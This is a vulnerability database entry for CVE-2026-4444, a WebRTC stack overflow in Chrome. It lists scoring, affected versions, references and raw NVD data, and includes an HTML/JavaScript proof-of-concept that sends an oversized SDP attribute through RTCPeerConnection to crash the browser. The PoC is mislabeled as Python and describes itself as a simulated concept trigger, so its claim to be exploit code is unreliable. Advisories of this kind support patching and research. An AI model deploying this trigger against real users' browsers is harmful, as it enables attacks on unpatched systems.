CVE-2026-4444

Description

Stack buffer overflow in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit stack corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.153

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-4444 WebRTC Stack Buffer Overflow -->
<!-- Description: Concept trigger for WebRTC stack corruption -->
<html>
<head>
    <title>CVE-2026-4444 PoC</title>
</head>
<body>
    <script>
        // Setup WebRTC PeerConnection
        const pc = new RTCPeerConnection({
            iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
        });

        // Attempt to trigger the overflow via crafted SDP
        // This simulates the payload that causes the stack corruption
        var maliciousPayload = "a=" + "A".repeat(100000); 
        
        var offer = {
            type: "offer",
            sdp: "v=0\r\no=- 0 0 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\nm=video 1 RTP/AVP 96\r\na=rtpmap:96 VP8/90000\r\n" + maliciousPayload
        };

        // Set remote description to trigger the vulnerability
        pc.setRemoteDescription(offer)
          .then(() => console.log("SDP Set"))
          .catch(e => console.log("Error (Expected):", e));
    </script>
    <p>If the browser crashes or hangs, the vulnerability may be triggered.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4444
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4444
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4444/
[4] VulDB https://vuldb.com/cve/CVE-2026-4444
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html
[6] https://issues.chromium.org/issues/486349161

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4444", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:37.073", "lastModified": "2026-03-20T19:32:16.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack buffer overflow in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit stack corruption via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Desbordamiento de búfer de pila en WebRTC en Google Chrome anterior a 146.0.7680.153 permitió a un atacante remoto potencialmente explotar la corrupción de pila mediante una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.153", "matchCriteriaId": "3526166A-E44B-47EE-8E47-1C1937CB2B87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/486349161", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}